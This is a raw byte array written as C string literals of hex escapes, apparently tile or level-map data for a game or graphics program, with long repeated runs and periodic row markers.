"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0a\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x06"
"\x1b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1d"
"\x05\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x1e\x1e\x0e\x0e\x0e\x0e\x0e\x05\x1e\x15\x0e\x0e\x0e\x0e\x05"
"\x1e\x15\x0e\x0e\x0e\x0e\x0e\x1e\x05\x0e\x0e\x0e\x0e\x0e\x05\x05"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x1f"
"\x14\x17\x0d\x1f\x1f\x1f\x1f\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1b"
"\x17\x1b\x01\x1f\x1f\x1f\x14\x17\x04\x01\x1f\x1f\x1f\x1f\x0d\x17"
"\x14\x1f\x1f\x1f\x1f\x1d\x17\x02\x01\x1f\x1f\x1f\x02\x17\x1d\x01"
"\x1f\x1f\x1f\x14\x17\x0d\x1f\x1f\x1f\x1f\x1f\x04\x17\x14\x01\x1f"
"\x1f\x1f\x1b\x17\x1b\x01\x1f\x1f\x1f\x14\x17\x0d\x1f\x1f\x1f\x1f"
"\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1d\x17\x02\x01\x1f\x1f\x1f\x02"
"\x17\x04\x01\x1f\x1f\x1f\x1f\x17\x0d\x1f\x1f\x1f\x1f\x1f\x04\x17"
"\x1e\x01\x1f\x1f\x1f\x1b\x17\x1d\x01\x1f\x1f\x1f\x14\x17\x0d\x1f"
"\x1f\x1f\x1f\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1d\x17\x1b\x01\x1f"
"\x1f\x1f\x1e\x17\x04\x01\x1f\x1f\x1f\x1f\x0d\x0d\x14\x1f\x1f\x1f"
"\x1f\x04\x17\x02\x01\x1f\x1f\x1f\x02\x17\x1d\x01\x1f\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x1f\x1b\x06\x1d\x1f\x1f\x1f\x1f\x14\x17\x0d"
"\x1f\x1f\x1f\x1f\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1d\x06\x1b\x1f"
"\x1f\x1f\x1f\x1e\x17\x04\x1f\x1f\x1f\x1f\x14\x17\x17\x14\x1f\x1f"
"\x1f\x1f\x04\x17\x1e\x1f\x1f\x1f\x1f\x1b\x06\x1d\x1f\x1f\x1f\x1f"
"\x14\x17\x0d\x1f\x1f\x1f\x1f\x1f\x0d\x17\x05\x1f\x1f\x1f\x1f\x1b"
"\x06\x1b\x1f\x1f\x1f\x1f\x1e\x17\x04\x1f\x1f\x1f\x1f\x1f\x0d\x17"
"\x14\x1f\x1f\x1f\x1f\x1d\x06\x1e\x1f\x1f\x1f\x1f\x1b\x06\x1d\x1f"
"\x1f\x1f\x1f\x14\x17\x0d\x0e\x1f\x1f\x1f\x1f\x04\x17\x1e\x1f\x1f"
"\x1f\x1f\x1b\x06\x1b\x1f\x1f\x1f\x1f\x05\x17\x0d\x1f\x1f\x1f\x1f"
"\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1d\x06\x1b\x1f\x1f\x1f\x1f\x1e"
"\x06\x04\x1f\x1f\x1f\x1f\x0e\x17\x17\x14\x1f\x1f\x1f\x1f\x04\x17"
"\x1e\x1f\x1f\x1f\x1f\x1b\x06\x1d\x1f\x1f\x1f\x1f\x14\x17\x0d\x1f"
"\x1f\x1f\x1f\x1f\x0d\x17\x14\x1f\x1f\x1f\x1f\x1d\x06\x1b\x1f\x1f"
"\x1f\x1f\x1e\x17\x04\x1f\x1f\x1f\x1f\x0e\x17\x17\x0e\x1f\x1f\x1f"
"\x1f\x04\x17\x1e\x1f\x1f\x1f\x1f\x1b\x06\x1d\x1f\x1f\x1f\x1f\x14"
"\x17\x0d\x1f\x1f\x1f\x1f\x1f\x0d\x17\x05\x1f\x1f\x1f\x1f\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x1f"
"\x01\x14\x1f\x01\x01\x01\x01\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x14"
"\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14\x1f\x01"
"\x01\x01\x01\x01\x02\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01"
"\x01\x01\x14\x14\x01\x01\x01\x01\x01\x1f\x02\x14\x01\x01\x01\x01"
"\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x01\x14"
"\x14\x14\x01\x01\x01\x01\x01\x02\x14\x01\x01\x01\x01\x01\x14\x14"
"\x01\x01\x01\x01\x01\x14\x14\x1f\x01\x01\x01\x01\x1f\x02\x14\x01"
"\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14\x1f\x01\x01"
"\x01\x01\x01\x02\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01"
"\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14\x1f\x01\x01\x01\x01\x01"
"\x02\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14"
"\x1f\x01\x01\x01\x01\x1f\x02\x14\x01\x01\x01\x01\x01\x14\x14\x01"
"\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x01\x14\x14\x1f\x01\x01"
"\x01\x01\x01\x02\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01"
"\x01\x14\x14\x1f\x01\x01\x01\x01\x1f\x02\x14\x01\x01\x01\x01\x01"
"\x14\x14\x01\x01\x01\x01\x01\x14\x14\x01\x01\x01\x01\x1b\x05\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x1e"
"\x0d\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x06\x1b\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x1b"
"\x06\x05\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x14"
"\x15\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x1f"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1b\x1e\x0b\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x15\x02\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
